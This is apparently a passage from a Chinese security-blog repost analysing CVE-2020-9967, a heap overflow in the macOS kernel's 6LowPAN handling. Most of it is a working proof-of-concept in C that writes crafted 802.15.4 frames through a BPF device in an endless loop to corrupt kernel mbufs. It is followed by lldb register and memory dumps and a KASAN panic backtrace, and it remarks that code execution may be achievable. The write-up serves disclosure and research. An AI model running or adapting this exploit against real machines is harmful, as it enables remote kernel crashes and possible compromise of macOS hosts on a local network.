struct frame_t {

    struct ether_header header;

    unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];

    ssize_t len;

    ssize_t payload_len;

};


// Open bpf device

int open_bpf_device()

{

    char buf[11] = {};

    int bpf = 0;

    for(int i = 0; i < 99; i++)

    {

        sprintf(buf,"/dev/bpf%i",i);

        bpf = open(buf,O_RDWR);

        if( bpf != -1 ) {

            printf("Opened device /dev/bpf%in", i);

            break;

        }

    }

    if(bpf == -1) {

        printf("Cannot open any /dev/bpf* device, exitingn");

        exit(1);

    }

    return bpf;

}


// Associate device

void assoc_dev(int bpf, char* interface)

{

    struct ifreq bound_if;

    strcpy(bound_if.ifr_name, interface);

    if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {

        printf("Cannot bind bpf device to physical device %s, exitingn", interface);

        exit(1);

    }

    printf("Bound bpf device to physical device %sn", interface);

}


// Write trigger frame

void write_single_frame(int bpf)

{

    ssize_t data_length = 32;


    struct frame_t frame;

    memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);

    memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);


    //  802.15.4 frame type.

    frame.header.ether_type = 0x908;

    frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;


    // Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);

    frame.payload[0] = 0xff;

    frame.payload[1] = 0xff;


    // This is the start of the "data" passed to frame802154_parse and considered frame header

    // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)

    // These are used for the FCF (no flags set)

    frame.payload[2] = 0;

    frame.payload[3] = 0;

    frame.payload[4] = 0;


    // As none FCF are set p+=3 bytes.

    // header length

    // c = p - data;

    // c = 3

    // payload length

    // pf->payload_len = (4 - 3);

    // pf->payload_len = 1


    // This is the start of our payload passed to sixxlowpan_uncompress

    frame.payload[5] = 0;

    frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP


    // Just pad the frame with 'A'.

    for (int j = 7; j < 32; j++) {

        frame.payload[j] = 0x41;

    }


    ssize_t bytes_sent;

    bytes_sent = write(bpf, &frame, frame.len);

    if(bytes_sent > 0) {

        printf("Bytes sent: %ldn", bytes_sent);

    } else {

        perror("Error sending frame");

        exit(1);

    }

}


int main(int argc, char *argv[])

{

    char* interface = "en0";


    int bpf;

    bpf = open_bpf_device();

    assoc_dev(bpf, interface);

       

    // Do this in a loop to ensure we corrupt data following mbuf.

    while (1)

        write_single_frame(bpf);


    return 0;

}

结果如下所示:

frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt]


(lldb) register read

General Purpose Registers:

       rax = 0x0000000000000000

       rbx = 0x0000000000000000

       rcx = 0xffffff8876c7bd28

       rdx = 0x000000000000fff9

       rdi = 0xffffff806f16f806

       rsi = 0xffffff806f16f82b

       rbp = 0xffffff8876c7bcf0

       rsp = 0xffffff8876c7bc30

        r8 = 0xffffff8876c7bc38

        r9 = 0xffffff8876c7bc40

       r10 = 0x0000000000000000

       r11 = 0x0000000000000003

       r12 = 0x0000000000000028

       r13 = 0x0000000000000003

       r14 = 0xffffff8876c7bd28

       r15 = 0xffffff806f16f803

       rip = 0xffffff8012dfa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703

  kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853

  kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853

    rflags = 0x0000000000000206

        cs = 0x0000000000000008

        fs = 0x0000000000000000

        gs = 0x0000000000000000



Source:


(lldb) x/20x 0xffffff806f16f806

0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141

0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000

0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570

0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b

0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28


Dest:


(lldb) x/20x 0xffffff806f16f82b

0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061

0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e

0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63

0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070

0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e

由于集群mbuf的长度仅为2048,并且以链接列表的方式链在一起,所以,将导致攻击者控制的数据能够破坏后续mbuf。

在KASAN内核上运行稍作修改的POC 2 (把41换成45),我们也可以看到发生了堆被破坏的现象,并且会触发nextptr的验证:

panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)


Backtrace (CPU 0), Frame : Return Address

0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap + 0x384

0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap + 0x15c

0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap + 0xa87

0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel + 0x26

0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState + 0x4e

0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6

0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger + 0x156

0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic + 0x54

0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic + 0x2de

0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc + 0x301

0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc + 0x1b8

0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e

0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc + 0x33d

0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e

0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc + 0xd3

0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl + 0x2d

0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input + 0x119

0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input + 0x136

0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common + 0x2153

0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont + 0x2cd

0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation + 0x2e

我们估计,由于写入的数据以及写入的长度均可控,因此,该漏洞有可能转化为代码执行漏洞。

参考及来源:https://alexplaskett.github.io/CVE-2020-9967/

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱

本文始发于微信公众号(嘶吼专业版):揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月26日15:01:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱https://cn-sec.com/archives/220637.html

发表评论

匿名网友 填写信息